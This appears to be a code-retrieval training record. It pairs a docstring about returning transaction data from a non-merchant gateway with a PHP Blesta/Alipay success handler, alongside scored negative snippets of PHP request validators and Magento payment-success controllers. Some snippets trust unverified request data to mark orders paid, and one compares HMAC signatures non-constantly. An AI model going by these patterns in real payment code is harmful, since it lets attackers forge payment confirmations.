required.');\n }\n if (Tools::getValue('ADMIN_MOBILE')) {\n $isvalid = preg_match('/^[0-9]*$/', Tools::getValue('ADMIN_MOBILE'));\n if ($isvalid == false) {\n $this->postErrors[] = $this->l('Admin Mobile Number is not valid.');\n }\n }\n }\n }", "private function requestIsValid() : bool\n {\n $queryParams = $this->request->getQueryParams();\n\n return array_has($queryParams,self::OPENID_ASSOC_HANDLE)\n && array_has($queryParams,self::OPENID_SIGNED)\n && array_has($queryParams,self::OPENID_SIG);\n }", "protected function verifyHeaders()\r\n\t{\r\n\t\tif(!array_key_exists(SONIC_HEADER__TARGET_API, $this->headers))\r\n\t\t\tthrow new MalformedResponseHeaderException(\"Malformed response: Header \" . SONIC_HEADER__TARGET_API . \" missing\");\r\n\t\telse if(!array_key_exists(SONIC_HEADER__DATE, $this->headers))\r\n\t\t\tthrow new MalformedResponseHeaderException(\"Malformed response: Header \" . SONIC_HEADER__DATE . \" missing\");\r\n\t\telse if(!array_key_exists(SONIC_HEADER__SIGNATURE, $this->headers))\r\n\t\t\tthrow new MalformedResponseHeaderException(\"Malformed response: Header \" . SONIC_HEADER__SIGNATURE . \" missing\");\r\n\t\telse if(!array_key_exists(SONIC_HEADER__RANDOM, $this->headers))\r\n\t\t\tthrow new MalformedResponseHeaderException(\"Malformed response: Header \" . SONIC_HEADER__RANDOM . \" missing\");\r\n\t\telse if(!array_key_exists(SONIC_HEADER__SOURCE_GID, $this->headers))\r\n\t\t\tthrow new MalformedResponseHeaderException(\"Malformed response: Header \" . SONIC_HEADER__SOURCE_GID . \" missing\");\r\n\t\telse if(!array_key_exists(SONIC_HEADER__PLATFORM_GID, $this->headers))\r\n\t\t\tthrow new MalformedRequestHeaderException(\"Malformed response: Header \" . SONIC_HEADER__PLATFORM_GID . \" missing\");\r\n\t\telse return true;\r\n\t}", "private function checkrequest()\n {\n // This method checks if there is user input, and returns the request_method if evaluated to be true\n if ($_SERVER['REQUEST_METHOD'] == \"POST\") {\n $this->request = \"post\";\n return true;\n } elseif ($_SERVER['REQUEST_METHOD'] == \"GET\") {\n $this->request = \"get\";\n return true;\n } else {\n $this->request = false;\n }\n }", "protected function process_response() {\n\t\t\t$this->response['response']['Message'] = isset($this->response['response']['Message']) ? $this->response['response']['Message'] : '';\n\t\t\t$this->response['response']['error'] = (strpos(strtolower($this->response['response']['Message']), 'invalid') !== false) ? true : $this->response['response']['error'];\n\t\t\t$this->response['response']['error'] = (strpos(strtolower($this->response['response']['Message']), 'the item code was specified more than once') !== false) ? true : $this->response['response']['error'];\n\t\t\t$this->response['response']['Level1Code'] = $this->request['Level1Code'];\n\t\t\t\n\t\t\tif (!$this->response['response']['error']) { // IF Error is False\n\t\t\t\tif (in_array($this->response['server']['http_code'], array('200', '201', '202', '204'))) {\n\t\t\t\t\t$this->log_sendlogitem($this->request['Level1Code']);\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\t$this->log_error($this->response['response']['Message']);\n\t\t\t}\n\t\t}", "public function validateInboundMessage(){\n\t\t$hashData = $this->timestamp . \"\" . $this->token;\n\t\t$computedSignature = hash_hmac(\"sha256\",$hashData , $this->MGAPIKEY);\n\t\t$providedSignature = $this->signature;\n\t\tif ($computedSignature == $providedSignature){\n\t\t\tif($this->validateSender()){\n\t\t\t\treturn true;\n\t\t\t}\n\t\t}\n\t\treturn false;\n\t}", "public function testIsInvalidEmptyPost() {\n\t\t$this->assertFalse($this->match->validate(array()));\n\t}", "public function responseValid($result, $type = NULL, $unique_id = NULL) {\n $nid = empty($this->node) ? NULL : $this->node->nid;\n\n if (empty($result) || empty($result->code)) {\n // Failed request - empty object or no response code.\n $add_string = !empty($result->code) ? \" code-\".$result->code : \"\";\n $this->logger->addRow(\"HTTP request error: empty response$add_string.\", WATCHDOG_ERROR, $nid);\n return FALSE;\n }\n\n $result_code = (int)$result->code;\n if (!empty($result->error)) {\n $this->logger->addRow('HTTP request error: ' . $result->error, WATCHDOG_ERROR, $nid);\n return FALSE;\n }\n\n if ($result_code < 200 || $result_code >= 300) {\n $this->logger->addRow('HTTP request error code:' . $result_code, WATCHDOG_ERROR, $nid, $type, $unique_id);\n return FALSE;\n }\n\n if (empty($result->data)) {\n // The data is an error.\n $this->logger->addRow('HTTP request error: response data.', WATCHDOG_ERROR, $nid, $type, $unique_id);\n return FALSE;\n }\n\n return TRUE;\n }", "protected function checkVerification()\n {\n $verificationString = $this->getRequest()->getHeader('X-GCS-Webhooks-Endpoint-Verification');\n if ($verificationString) {\n $this->getResponse()->setHeader('Content-Type', 'text/plain');\n $this->getResponse()->setBody(\n $verificationString\n );\n\n return true;\n }\n\n return false;\n }", "public function canHandleRequest() {}", "public function canHandleRequest() {}", "public function canHandleRequest() {}", "public function canHandleRequest() {}", "function bitadma_is_valid_outbound_bitrix24_request( $request, $authentication_code ) {\n\n\t// required fields\n\t$required_field = array(\n\t\t$request->get_param('auth'),\n\t\t$request->get_param('event'),\n\t\t$request->get_param('data'),\n\t);\n\n\t// check that all fields are available.\n\tforeach( $required_field as $field ) {\n\t\tif ( $field == null ) {\n\t\t\treturn false;\n\t\t}\n\t}\n\n\t// check that the data FIELDS, ID field is available.\n\tif ( isset( $request->get_param('data')['FIELDS']['ID'] ) == false ) {\n\t\treturn false;\n\t}\n\n\t// check that application_token is available.\n\tif ( isset( $request->get_param('auth')['application_token'] ) == false ) {\n\t\treturn false;\n\t}\n\n\t// make sure there is no whitespaces.\n\t$cleaned_request_auth_code = bitadma_strip_whitespace( $request->get_param('auth')['application_token'] );\n\t$cleaned_auth_code = bitadma_strip_whitespace( $authentication_code );\n\n\t// validate token.\n\tif ( $cleaned_request_auth_code != $cleaned_auth_code ) {\n\t\treturn false;\n\t}\n\n\treturn true;\n\n}", "function validateInput($requestValue, $validParams, $HttpType, $min, $max) {\n $isValid = true;\n if (!validateInputSize($requestValue, $min, $max)) {\n $isValid = false;\n send404(\"Invlaid Number of Inputs\", array(\"Message\" => \"Invalid input lenght\"));\n }\n else if (!validateInputName($validParams, $requestValue)) {\n $isValid = false;\n // Send 404 in validateInputName\n }\n else if (!httpResponseValidatation($HttpType, $requestValue)) {\n $isValid = false;\n // Send 404 in validateInputContents\n }\n return $isValid;\n}" ]
[ "0.6678901", "0.66498065", "0.6609963", "0.65545", "0.65222794", "0.6498234", "0.64888823", "0.6460682", "0.63734996", "0.63257587", "0.62860733", "0.62805676", "0.62755466", "0.6221119", "0.61744153", "0.6160997", "0.6155332", "0.61280286", "0.61273366", "0.6113991", "0.6111127", "0.6027192", "0.6020592", "0.6003168", "0.5999237", "0.5997167", "0.5985681", "0.5970968", "0.5970968", "0.59488344", "0.5936661", "0.59358", "0.5919214", "0.58587664", "0.58569247", "0.58569247", "0.5848336", "0.5844097", "0.58032566", "0.57989967", "0.57917064", "0.5790425", "0.577349", "0.57575595", "0.5752832", "0.5724122", "0.5709444", "0.5690205", "0.56826645", "0.5682093", "0.5668927", "0.56657076", "0.5661875", "0.5657892", "0.5653803", "0.5647483", "0.5644085", "0.5575588", "0.55570567", "0.5551678", "0.555029", "0.5548395", "0.5528521", "0.55270433", "0.5523059", "0.5521283", "0.5506263", "0.5498187", "0.5490807", "0.5486488", "0.54864395", "0.5466153", "0.5459037", "0.5458485", "0.5442909", "0.54397464", "0.5435675", "0.5434998", "0.5423922", "0.54072213", "0.54067725", "0.5396021", "0.537658", "0.53746927", "0.5365769", "0.53647083", "0.53461426", "0.5345277", "0.5340955", "0.5336041", "0.5335909", "0.5334027", "0.5323646", "0.53164864", "0.5314547", "0.53111744", "0.53111744", "0.53111744", "0.53111744", "0.5310354", "0.5303838" ]
0.0
-1
Returns data regarding a success transaction. This method is invoked when a client returns from the nonmerchant gateway's web site back to Blesta.
public function success(array $get, array $post) { $backup = $get; unset($get[0]); unset($get[1]); $client_id = $this->ifSet($get['client_id']); unset($get['client_id']); unset($get['sign_type']); $sign = $get['sign']; unset($get['sign']); if ($this->ifSet($get['is_success']) == 'T' && $this->checkSign($get, $sign) && $this->checkNotify($this->ifSet($get['notify_id']))) { $this->log('RETURN: '.$this->ifSet($_SERVER['REQUEST_URI']), serialize($backup), "input", true); // if ($this->ifSet($get['trade_status']) == 'WAIT_SELLER_SEND_GOODS') { // $this->sendGoods($this->ifSet($get['trade_no'])); // } if ($this->ifSet($get['trade_status']) == 'TRADE_FINISHED') { if (!$this->checkTransID($this->ifSet($get['trade_no']), $client_id)) { return array( 'client_id' => $client_id, 'amount' => $this->ifSet($get['price']), 'currency' => 'CNY', 'invoices' => $this->unserializeInvoices($this->ifSet($get['body'])), 'status' => 'approved', 'transaction_id' => $this->ifSet($get['trade_no']) ); } } return array( 'client_id' => $client_id, 'amount' => $this->ifSet($get['price']), 'currency' => 'CNY', 'invoices' => $this->unserializeInvoices($this->ifSet($get['body'])), 'status' => 'pending', 'transaction_id' => $this->ifSet($get['trade_no']) ); } else { $this->log('RETURN: '.$this->ifSet($_SERVER['REQUEST_URI']), serialize($backup), "input", false); return null; } }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function getSuccess();", "public function viewSuccessfulTransactions()\n {\n return $this->getSuccessfulTransactions(self::GATEWAY);\n }", "protected function successfulResponse(){\n return response()->json([\n 'ResultCode'=> 0,\n 'ResultDesc'=>'Transaction completed successfully',\n 'ThirdPartyTransID' => 1\n ]);\n\n }", "public function getSuccess()\n {\n return $this->_get('success');\n }", "public function getSuccess() {\n\t\treturn $this->data[\"success\"];\n\t}", "public function getSuccess()\n {\n return $this->get('Success');\n }", "public function getSuccess()\n {\n return $this->success;\n }", "public function successResponseAction()\n {\n\n\t\t$orderid = $_REQUEST['orderid'];\n\n if (!$orderid) {\n $this->_redirect('');\n return ;\n }\n\n $order = Mage::getModel('sales/order');\n $order->loadByIncrementId($orderid);\n\t\tif (!$order->getId()) {\n return false;\n }\t\t\n\n\t\t$payment =$order->getPayment();\n\t\t$criptopay_status = $payment->getAdditionalInformation('criptopay_status');\t\n\t\t$transaction_id = $payment->getAdditionalInformation('transaction_id');\t\t\t\t\t\t\t\t\t\n\n\t\t\n\t\t$statusStr = __('Pending');\n\t\t\t\t\n\t\tif ($criptopay_status == '30') $statusStr = __('Success');\n\t\t\n\t $session = Mage::getSingleton('checkout/session');\n\t\t\n \t$session->setQuoteId();\n Mage::getSingleton('checkout/session')->getQuote()->setIsActive(false)->save();\n\n $success_msg = __('<b>Order No: <b>').$orderid;\n\t\t$success_msg .= __('<br><b>Transcation ID: <b>').$transaction_id;\t\t\t\n//\t\t$success_msg .= __('<br><b>Payment Status: <b>').$statusStr;\t\t\t\t\t\t\n// $success_msg .= __('<br><b>Wait about 5 hours for crypto-pay to process the payment<b>');\n $session->setErrorMessage($success_msg);\t\t\t \n\t $this->_redirect('criptopay/standard/success');\t\t\t\t \n//\t\t$this->_redirect('checkout/onepage/success');\t\t\t \n }", "public function getSuccess()\r\n {\r\n return $this->success;\r\n }", "public function getSuccess()\n {\n return $this->success;\n }", "public function success()\n {\n return $this->success;\n }", "public static function success(): self\n {\n return self::getInstance('SUCCESS');\n }", "public function successAction() {\n\t\t\t$strResult = $_REQUEST['responseXml'];\n\t\t\t$strResult = stripslashes($strResult);\n\n\t\t\t$doc = new DOMDocument();\n\t\t\t$doc->loadXML($strResult);\n \n\t\t\t$result = $doc->getElementsByTagName( \"result\" );\n\t\t\tforeach( $result as $value )\n\t\t\t{\n\t\t\t$resultCode = $value->getElementsByTagName( \"resultCode\" );\n\t\t\t$resCode = $resultCode->item(0)->nodeValue;\n \n\t\t\t$resultMessage = $value->getElementsByTagName( \"resultMessage\" );\n\t\t\t$resMessage = $resultMessage->item(0)->nodeValue;\n \n\t\t\t$resultText = $value->getElementsByTagName( \"resultText\" );\n\t\t\t$resText = $resultText->item(0)->nodeValue;\n\t\t\t}\n\t\t\t\n\t\t\t//forward to failure page if payment is unsuccessful\n\t\t\tif($resMessage != 'Captured'){\n\t\t\t\t$this->_forward('failure');\n\t\t\t}\n\t\t\t//payment successful\n\t\t\telseif($resMessage == 'Captured')\n\t\t\t{\n\t\t\t//retrieve order id\n\t\t\t$event = $this->getRequest()->getParams();\n $transaction_id= $event['transaction_id'];\t\t\t\n\t\t\t\n\t\t\t//add note about successful payment to order in the backoffice\n\t\t\t$order = Mage::getModel('sales/order')->loadByIncrementId($transaction_id);\n\t\t\t\n\t\t\t$order->addStatusToHistory(\n\t\t\t\t$order->getStatus(),\n\t\t\t\tMage::helper('cps')->__(\"Customer's credit card was successfuly charged by CPS.\")\n\t\t\t);\t\n\t\t\t\t\t\t\n\t\t\t//send email about the order to customer\n\t\t\t$order->sendNewOrderEmail()->setEmailSent(true)->save();\n\t\t\t\n\t\t\t//create invoice for successful payment\n\t\t\tif(!$order->canInvoice())\n {\n Mage::throwException(Mage::helper('core')->__('Cannot create an invoice.'));\n }\t\t\t\n\t\t\t$invoice = Mage::getModel('sales/service_order', $order)->prepareInvoice(); \n\t\t\tif (!$invoice->getTotalQty()) {\n\t\t\tMage::throwException(Mage::helper('core')->__('Cannot create an invoice without products.'));\n\t\t\t} \n\t\t\t$invoice->setRequestedCaptureCase(Mage_Sales_Model_Order_Invoice::CAPTURE_OFFLINE);\n\t\t\t$invoice->register();\n\t\t\t$transactionSave = Mage::getModel('core/resource_transaction')\n\t\t\t->addObject($invoice)\n\t\t\t->addObject($invoice->getOrder());\n\t\t\t$transactionSave->save();\n\t\t\t\n\t\t\t//set order status to \"Processing\" and save order\n\t\t\t$order->setStatus(Mage_Sales_Model_Order::STATE_PROCESSING, true);\n\t\t\t$order->save();\n\t\t\t\n\t\t\t//redirect to success page\n\t\t\t$this->_getCheckout()->setLastSuccessQuoteId($order->getQuoteId());\n $this->_redirect('checkout/onepage/success', array('_secure'=>true));\n\t\t\t}\n\t\t\n }", "public static function success()\n {\n static::returnCode(static::CODE_SUCCESS);\n }", "public function successCode() { return $this->successCode; }", "public function successAction() {\n \n //Grab the database ID\n $collection = Mage::getModel('CardstreamHosted/CardstreamHosted_Trans')->getCollection();\n $collection->addFilter('transactionunique', $_POST['transactionUnique']);\n $transrow = $collection->toArray();\n \n //Grab the database ID\n \n if( isset( $transrow['items'][0]['id'] ) ){\n \n $transid = $transrow['items'][0]['id'];\n \n }else{\n \n $transid = false;\n \n }\n\n if( $transid ){\n \n //We have a transaction ID\n \n $trans = $transrow['items'][0];\n \n // Get the last four of the card used.\n if( isset( $_POST['cardNumberMask'] ) ){\n \n $lastfour = substr($_POST['cardNumberMask'], -4, strlen($_POST['cardNumberMask']) );\n \n }else{\n \n $lastfour = false;\n \n }\n \n //If threeDSEnrolled has been sent, insert it into the database. Otherwise, insert nothing.\n \n if( isset( $_POST['threeDSEnrolled'] ) ){\n \n $threeDSEnrolled = $_POST['threeDSEnrolled'];\n \n }else{\n \n $threeDSEnrolled = false;\n \n }\n \n //If threeDSAuthenticated has been sent, insert it into the database. Otherwise, insert nothing.\n \n if( isset( $_POST['threeDSAuthenticated'] ) ){\n \n $threeDSAuthenticated = $_POST['threeDSAuthenticated'];\n \n }else{\n \n $threeDSAuthenticated = false;\n \n }\n \n //If cardType has been sent, insert it into the database. Otherwise, insert nothing.\n if( isset( $_POST['cardType'] ) ){\n \n $cardType = $_POST['cardType'];\n \n }else{\n \n $cardType = false;\n \n }\n \n //Update the database with the transaction result\n $trn = Mage::getModel('CardstreamHosted/CardstreamHosted_Trans')->loadById( $trans['id'] );\n $trn->setxref( $_POST['xref'] )\n ->setresponsecode( $_POST['responseCode'] )\n ->setmessage( $_POST['responseMessage'] )\n ->setthreedsenrolled( $threeDSEnrolled )\n ->setthreedsauthenticated( $threeDSAuthenticated )\n ->setlastfour( $lastfour )\n ->setcardtype( $cardType )\n ->save();\n\n if( $_POST['responseCode'] === \"0\") {\n\n if( $_POST['amountReceived'] == $trans['amount'] ){\n\n //Load order\n $order = Mage::getModel('sales/order');\n $order->loadByIncrementId( $trans['orderid'] );\n\n if( $order->getId() ){\n\n $order->sendNewOrderEmail();\n $order->true;\n\n if( !$order->canInvoice() ) {\n\n //Add order comment and update status - Although we cant invoice, its important to record the transaction outcome.\n $order->addStatusToHistory( Mage::getStoreConfig('payment/CardstreamHosted_standard/successfulpaymentstatus'), $this->buildordermessage(), 0);\n $order->save();\n\n //when order cannot create invoice, need to have some logic to take care\n $order->addStatusToHistory(\n $order->getStatus(),\n Mage::helper('CardstreamHosted')->__('Order cannot create invoice')\n );\n\n }else{\n\n //need to save transaction id\n $order->getPayment()->setTransactionId( $_POST['xref'] );\n $order->save();\n $converter = Mage::getModel('sales/convert_order');\n $invoice = $converter->toInvoice($order);\n\n foreach($order->getAllItems() as $orderItem) {\n\n if(!$orderItem->getQtyToInvoice()) {\n continue;\n }\n\n $item = $converter->itemToInvoiceItem($orderItem);\n $item->setQty($orderItem->getQtyToInvoice());\n $invoice->addItem($item);\n }\n\n $invoice->collectTotals();\n $invoice->register()->capture();\n $CommentData = \"Invoice \" . $invoice->getIncrementId() . \" was created\";\n\n Mage::getModel('core/resource_transaction')\n ->addObject($invoice)\n ->addObject($invoice->getOrder())\n ->save();\n\n //Add order comment and update status.\n $order->addStatusToHistory( Mage::getStoreConfig('payment/CardstreamHosted_standard/successfulpaymentstatus'), $this->buildordermessage(), 0);\n\n $order->save();\n\n }\n\n }\n\n $this->_redirect('checkout/onepage/success');\n\n }else{\n\n $order = Mage::getModel('sales/order');\n $order->loadByIncrementId( $trans['orderid'] );\n\n if( $order->getId() ){\n\n //Add order comment and update status\n $order->addStatusToHistory( Mage::getStoreConfig('payment/CardstreamHosted_standard/order_status'), $this->buildordermessage(), 0);\n $order->addStatusToHistory( Mage::getStoreConfig('payment/CardstreamHosted_standard/order_status'), \"The amount paid did not match the amount due.\", 0);\n\n $order->save();\n\n }\n\n $session = Mage::getSingleton('checkout/session');\n $session->setQuoteId( $trans['quoteid'] );\n Mage::getModel('sales/quote')->load($session->getQuoteId())->setIsActive(true)->save();\n\n $message = \"The amount paid did not match the amount due. Please contact us for more information\";\n $session->addError($message);\n $this->_redirect('checkout/cart');\n\n }\n \n }else{\n \n $order = Mage::getModel('sales/order');\n $order->loadByIncrementId( $trans['orderid'] );\n\n if( $order->getId() ){\n\n //Add order comment and update status.\n $order->addStatusToHistory( Mage::getStoreConfig('payment/CardstreamHosted_standard/unsuccessfulpaymentstatus'), $this->buildordermessage(), 0);\n $order->save(); \n\n }\n\n $session = Mage::getSingleton('checkout/session');\n $session->setQuoteId( $trans['quoteid'] );\n Mage::getModel('sales/quote')->load($session->getQuoteId())->setIsActive(true)->save();\n\n $this->loadLayout();\n\n $block = $this->getLayout()->createBlock(\n 'Mage_Core_Block_Template',\n 'CardstreamHosted/standard_failure',\n array('template' => 'CardstreamHosted/standard/failure.phtml')\n );\n\n $this->getLayout()->getBlock('content')->append($block);\n\n $this->renderLayout();\n \n }\n \n }else{\n \n $order = Mage::getModel('sales/order');\n $order->loadByIncrementId( Mage::getSingleton('checkout/session')->getCardstreamHostedOrderId() );\n\n if( $order->getId() ){\n\n //Add order comment and update status.\n $order->addStatusToHistory( Mage::getStoreConfig('payment/CardstreamHosted_standard/order_status'), $this->buildordermessage(), 0);\n $order->addStatusToHistory( Mage::getStoreConfig('payment/CardstreamHosted_standard/order_status'), \"Unable to locate the transaction in the CardstreamHosted table\", 0);\n $order->save(); \n\n }\n \n $session = Mage::getSingleton('checkout/session');\n $session->setQuoteId( Mage::getSingleton('checkout/session')->getCardstreamHostedQuoteId() );\n Mage::getModel('sales/quote')->load($session->getQuoteId())->setIsActive(true)->save();\n \n $message = \"Unable to locate transaction. Please contact us for payment status.\";\n $session->addError($message);\n $this->_redirect('checkout/cart');\n \n }\n \n }", "public function testPaymentSuccess() {\n\t\t$this->processor->capture($this->data);\n\n\t\t//Test redirect to gateway\n\t\t$response = Controller::curr()->getResponse();\n\t\t$gatewayURL = $this->processor->gateway->gatewayURL;\n\t\t\n\t\t$queryString = http_build_query(array(\n\t\t\t'Amount' => $this->data['Amount'],\n\t\t\t'Currency' => $this->data['Currency'],\n\t\t\t'ReturnURL' => $this->processor->gateway->returnURL\n\t\t));\n\t\t$this->assertEquals($response->getHeader('Location'), '/dummy/external/pay?' . $queryString);\n\t\t\n\t\t//Test payment completion after redirect from gateway\n\t\t$queryString = http_build_query(array('Status' => 'Success'));\n\t\tDirector::test($this->processor->gateway->returnURL . \"?$queryString\");\n\t\t\n\t\t$payment = $payment = Payment::get()->byID($this->processor->payment->ID);\n\t\t$this->assertEquals($payment->Status, Payment::SUCCESS);\n\t}", "public function success();", "public function serverresultAction()\n {\n $boError = false;\n $model = Mage::getModel('paymentsensegateway/direct');\n $checkout = Mage::getSingleton('checkout/type_onepage');\n $szOrderID = $this->getRequest()->getPost('OrderID');\n $szMessage = $this->getRequest()->getPost('Message');\n $nVersion = Mage::getModel('paymentsensegateway/direct')->getVersion();\n \n try\n {\n // finish off the transaction: if StatusCode = 0 create an order otherwise do nothing\n $checkout->saveOrderAfterRedirectedPaymentAction(true,\n $this->getRequest()->getPost('StatusCode'),\n $szMessage,\n $this->getRequest()->getPost('PreviousStatusCode'),\n $this->getRequest()->getPost('PreviousMessage'),\n $this->getRequest()->getPost('OrderID'),\n $this->getRequest()->getPost('CrossReference'));\n }\n catch (Exception $exc)\n {\n $boError = true;\n $szErrorMessage = $exc->getMessage();\n $szNotificationMessage = Paymentsense_Paymentsensegateway_Model_Common_GlobalErrors::ERROR_183;\n Mage::logException($exc);\n }\n \n if($boError == true)\n {\n $this->getResponse()->setBody('StatusCode=30&Message='.$szErrorMessage);\n }\n else\n {\n $order = Mage::getModel('sales/order');\n $order->load(Mage::getSingleton('checkout/session')->getLastOrderId());\n // set the quote as inactive after back from paypal\n Mage::getSingleton('checkout/session')->getQuote()->setIsActive(false)->save();\n\n // send confirmation email to customer\n if($order->getId())\n {\n $order->sendNewOrderEmail();\n }\n \n // if the payment was successful clear the session so that if the customer navigates back to the Magento store\n // the shopping cart will be emptied rather than 'uncomplete'\n if($this->getRequest()->getPost('StatusCode') == '0')\n {\n Mage::getSingleton('checkout/session')->clear();\n \n if($nVersion >= 1410)\n {\n if($nVersion < 1600)\n {\n $model->subtractOrderedItemsFromStock($order);\n }\n $this->_updateInvoices($order, $szMessage);\n }\n }\n \n $this->getResponse()->setBody('StatusCode=0');\n }\n }", "public function success() {\n return array(\n '#type' => 'markup',\n '#markup' => '<h1>Congratulations</h1><p>You just completed a purchase.</p>',\n );\n }", "public function success()\n {\n return Session::getFlash('raven:success');\n }", "public function isSuccessful()\n\t{\n\t\t$data = $this->getData();\n\n\t\treturn isset($data['gettransactionResult']);\n\t}", "public function success()\n {\n return $this->type('success');\n }", "public function checkoutSuccess()\n {\n return \\Session::get('cart.success');\n }", "public function success() {\n\t}", "private function send_success() {\n header('Content-Type: application/json');\n echo json_encode(array('success' => true));\n return;\n }", "public function success() {\n\t\t$this->getBasics();\n\t\t$this->getParams();\n\t\t$this->getLanguage();\n\n\t\t$this->load->library( 'encryption' );\n\t\t$encryption = new Encryption( $this->config->get( 'config_encryption' ) );\n\n\t\t// get order id\n\t\tif( isset( $this->request->get['order_id'] ) ) {\n\t\t\t$order_id = $encryption->decrypt( $this->request->get['order_id'] );\n\t\t}else{\n\t\t\t$order_id = 0;\n\t\t}\n\n\t\t// get project id\n\t\t$project_id = $this->getRequest( 'pid', 0 );\n\n\t\t// write log\n\t\t$msg = sprintf( $this->language->get( 'text_log_return_success' ), $project_id, $order_id );\n\t\t$this->writeLog( $msg, 2 );\n\n\t\t// call the template\n\t\tif( $this->request->get['security_criteria'] != 1 ) {\n\t\t\t// something went wrong\n\t\t\t// write log and msg to directebanking\n\t\t\t$msg = sprintf( $this->language->get( 'text_log_security_invalid'), $project_id, $order_id );\n\t\t\techo $msg . \"\\n\";\n\n\t\t\t$this->writeLog( $msg, 3 );\n\n\t\t\t$this->data['heading_title']\t= $this->language->get( 'text_failed' );\n\t\t\t$this->data['text_message']\t\t= sprintf(\n\t\t\t\t$this->language->get( 'text_failed_message' ),\n\t\t\t\t$this->buildUrl( 'information/contact' )\n\t\t\t);\n\t\t\t$this->data['button_continue']\t= $this->language->get( 'button_continue' );\n\t\t\t$this->data['continue']\t\t\t= $this->buildUrl( 'common/home' );\n\n\t\t\t$this->getTemplate( '/template/common/success.tpl' );\n\n\t\t\t$this->getChildren();\n\t\t\t$this->buildResponse();\n\t\t}else{\n\t\t\t// everything okay\n\t\t\t$this->redirect( $this->buildUrl( 'checkout/success' ) );\n\t\t}\n\t}", "public function success() {\n }", "protected function success()\n {\n if ( isset( $this->data['status'] ) && $this->data['status'] == 'SUCCESS' ) {\n return true;\n }\n return false;\n }", "public function getTransactionResult() {\n\t\treturn $this->transaction_result;\n\t}", "protected function viewSuccessMsg($transaction){\n $form = new control\\form('paymentShowInfo');\n\n $imgLogo = new control\\image('imgLogo');\n $imgLogo->src = SiteDomain . '/plugins/defined/payment/images/success.png';\n\n $label = new control\\label(sprintf(_('Name:%s'),$transaction->owner));\n $row = new control\\row;\n $row->in_table = false;\n $row->add($imgLogo,2);\n $form->add($label);\n $lblAmount = new control\\label(sprintf(_('Amount paid:%s Rials'),$transaction->amount));\n $form->add($lblAmount);\n $lblSer = new control\\label(sprintf(_('serial:%s'),$transaction->sid));\n $form->add($lblSer);\n $lblTrack = new control\\label(sprintf(_('Tracking Code:%s'),$transaction->id));\n $form->add($lblTrack);\n //home button\n $btnHome = new control\\button('btnHome');\n $btnHome->type = 'success';\n $btnHome->size = 'lg';\n $btnHome->label = _('Jump to home page');\n $btnHome->href = SiteDomain;\n $form->add($btnHome);\n $row->add($form,10);\n return [_('Payment was successful'),$row->draw()];\n }", "public function takeOrderSuccess()\n {\n return response()->view('weixin.repair-order.take-order-success');\n }", "public function getCurrentSuccess()\n {\n return $this->getCurrent(self::NAMESPACE_SUCCESS);\n }", "public function bsuccessAction() {\n\t\t\n\t\t$session = Mage::getSingleton('checkout/session');\n\t\t\n\t\t$logFileName = 'magentoorder.log';\n\t\t\n\t\tMage::log('----------------- START ------------------------------- ', null, $logFileName);\t\n\t\t\n\t\t$quote = $session->getQuote();\n\t\t$quoteId = $quote->getEntityId();\n\t\t\n\t\t\n\t\t$typeData = $session->getTypeData();\n\t\t\n\t\t$privateId = $session->getBusinessPrivateId();\n\t\tif($privateId){\n\t\t\t$orderData = Mage::getModel('collectorbank/api')->getOrderResponse();\t\n\t\t\t//echo \"<pre>business \";print_r($orderData);die;\n\t\t\tif(isset($orderData['error'])){\n\t\t\t\t$session->addError($orderData['error']['message']);\n\t\t\t\t$this->_redirect('checkout/cart');\n\t\t\t\treturn;\n\t\t\t}\n\t\t\t$orderDetails = $orderData['data'];\t\t\n\t\t\n\t\t\n\t\tif($orderDetails){\t\t\n\t\t\t$email = $orderDetails['businessCustomer']['email'];\n\t\t\t$mobile = $orderDetails['businessCustomer']['mobilePhoneNumber'];\n\t\t\t$firstName = $orderDetails['businessCustomer']['deliveryAddress']['companyName'];\n\t\t\t$lastName = $orderDetails['businessCustomer']['referencePerson'];\n\t\t\t\n\t\t\t\n\t\t\t$store = Mage::app()->getStore();\n\t\t\t$website = Mage::app()->getWebsite();\n\t\t\t$customer = Mage::getModel('customer/customer')->setWebsiteId($website->getId())->loadByEmail($email);\n\t\t\t\t// if the customer is not already registered\n\t\t\t\tif (!$customer->getId()) {\n\t\t\t\t\t$customer = Mage::getModel('customer/customer');\t\t\t\n\t\t\t\t\t$customer->setWebsiteId($website->getId())\n\t\t\t\t\t\t\t ->setStore($store)\n\t\t\t\t\t\t\t ->setFirstname($firstName)\n\t\t\t\t\t\t\t ->setLastname($lastName)\n\t\t\t\t\t\t\t ->setEmail($email); \n\t\t\t\t\ttry {\n\t\t\t\t\t \n\t\t\t\t\t\t$password = $customer->generatePassword(); \n\t\t\t\t\t\t$customer->setPassword($password); \n\t\t\t\t\t\t// set the customer as confirmed\n\t\t\t\t\t\t$customer->setForceConfirmed(true); \n\t\t\t\t\t\t// save customer\n\t\t\t\t\t\t$customer->save(); \n\t\t\t\t\t\t$customer->setConfirmation(null);\n\t\t\t\t\t\t$customer->save();\n\t\t\t\t\t\t\n\t\t\t\t\t\t// set customer address\n\t\t\t\t\t\t$customerId = $customer->getId(); \n\t\t\t\t\t\t$customAddress = Mage::getModel('customer/address'); \n\t\t\t\t\t\t$customAddress->setData($billingAddress)\n\t\t\t\t\t\t\t\t\t ->setCustomerId($customerId)\n\t\t\t\t\t\t\t\t\t ->setIsDefaultBilling('1')\n\t\t\t\t\t\t\t\t\t ->setIsDefaultShipping('1')\n\t\t\t\t\t\t\t\t\t ->setSaveInAddressBook('1');\n\t\t\t\t\t\t\n\t\t\t\t\t\t// save customer address\n\t\t\t\t\t\t$customAddress->save();\n\t\t\t\t\t\t// send new account email to customer \n\t\t\t\t\t\t\n\t\t\t\t\t\t$storeId = $customer->getSendemailStoreId();\n\t\t\t\t\t\t$customer->sendNewAccountEmail('registered', '', $storeId);\n\t\t\t\t\t\t\n\t\t\t\t\t\tMage::log('Customer with email '.$email.' is successfully created.', null, $logFileName);\n\t\t\t\t\t\t\n\t\t\t\t\t} catch (Mage_Core_Exception $e) {\t\t\t\t\t\t\n\t\t\t\t\t\tMage::log('Cannot add customer for '.$e->getMessage(), null, $logFileName);\n\t\t\t\t\t} catch (Exception $e) {\n\t\t\t\t\t\tMage::log('Cannot add customer for '.$email, null, $logFileName);\n\t\t\t\t\t} \n\t\t\t\t}\n\t\t\t\t\n\t\t\t// Assign Customer To Sales Order Quote\n\t\t\t$quote->assignCustomer($customer);\n\t\t\t\n\t\t\tif($orderDetails['businessCustomer']['deliveryAddress']['country'] == 'Sverige'){\t$scountry_id = 